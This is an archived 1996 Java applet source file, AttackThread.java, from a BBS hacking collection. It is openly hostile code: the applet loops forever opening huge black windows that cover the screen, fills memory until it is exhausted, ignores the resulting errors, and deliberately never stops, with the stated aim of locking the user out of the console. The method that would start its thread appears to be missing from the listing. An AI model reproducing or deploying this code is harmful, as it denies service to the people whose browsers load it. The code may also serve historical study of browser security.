home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / hacking / internet / attackthread.java < prev    next >
Encoding:
Java Source  |  1996-07-04  |  3.1 KB  |  108 lines

  1. /* AttackThread.java by Mark D. LaDue */
  2.  
  3. /* February 20, 1996 */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to spew forth huge non-functioning
  10.    black windows and obliterate the screen in order to exclude the
  11.    user from the console. It won't stop until you do something drastic. */
  12.  
  13. import java.awt.*;
  14.  
  15. public class AttackThread extends java.applet.Applet implements Runnable {
  16.  
  17. //  Just a font to paint strings to the applet window 
  18.     Font wordFont = new Font("TimesRoman", Font.BOLD, 36);
  19.  
  20. //  This thread will attempt to spew forth huge windows and waste resources 
  21.     Thread wasteResources = null;
  22.  
  23. //  An offscreen Image where lots of action will take place
  24. //    Image offscreenImage;
  25.  
  26. //  Graphics tools to handle the offscreen Image
  27. //    Graphics offscreenGraphics;
  28.  
  29. //  To avoid arrays and have open-ended storage of results
  30.     StringBuffer holdBigNumbers = new StringBuffer(0);
  31.  
  32. //  Used to read in a parameter that makes the thread sleep for a
  33. //  specified number of seconds
  34.     int delay;
  35.  
  36. //  A window that repeatedly tries to obscure everything 
  37.     Frame littleWindow;
  38.  
  39. /*  Set up a big white rectangle in the browser, get the sound, and
  40.     create the offscreen graphics  */ 
  41.  
  42.     public void init() {
  43.     setBackground(Color.white);
  44. //    offscreenImage = createImage(this.size().width, this.size().height);
  45. //    offscreenGraphics = offscreenImage.getGraphics();
  46.     }
  47.  
  48. /*  Create and start the offending thread in the standard way */
  49.  
  50.  
  51. /*  We certainly won't be stopping anything */
  52.  
  53.     public void stop() {}
  54.  
  55.  
  56. /* Start repeatedly opening windows
  57.    while doing lots of other wasteful operations */ 
  58.  
  59.     public void run() {
  60.  
  61. //  Now fill the screen with huge windows, one atop another, and do
  62. //  a lots of wasteful stuff!
  63.  
  64.         while (true) {
  65.         try {
  66.         holdBigNumbers.append(0x7fffffffffffffffL);
  67.         littleWindow = new AttackFrame("ACK!"); // create a window
  68.         littleWindow.resize(1000000, 1000000);  // make it big!
  69.         littleWindow.move(-1000, -1000);  // cover everything
  70.         littleWindow.show();  //  now open the big window 
  71.         }
  72.         catch (OutOfMemoryError o) {}
  73.         repaint();
  74.         }
  75.     }
  76.  
  77.  
  78. /*  Paints the applet's lie */
  79.  
  80.     public void update(Graphics g) {
  81.         paint(g);
  82.     }
  83.  
  84.     public void paint(Graphics g) {
  85. //    offscreenGraphics.setColor(Color.white);
  86. //    offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  87. //    offscreenGraphics.setColor(Color.blue);
  88. //    offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  89.     }
  90. }
  91.  
  92. /* Makes the big, opaque windows */
  93.  
  94. class AttackFrame extends Frame {
  95.     Label l;
  96.  
  97. //  Constructor method
  98.     AttackFrame(String title) {
  99.         super(title);
  100.  
  101.         setLayout(new GridLayout(1, 1));
  102.         Canvas blackCanvas = new Canvas();
  103.         blackCanvas.setBackground(Color.black);
  104.         add(blackCanvas);
  105.     }
  106. }
  107.  
  108.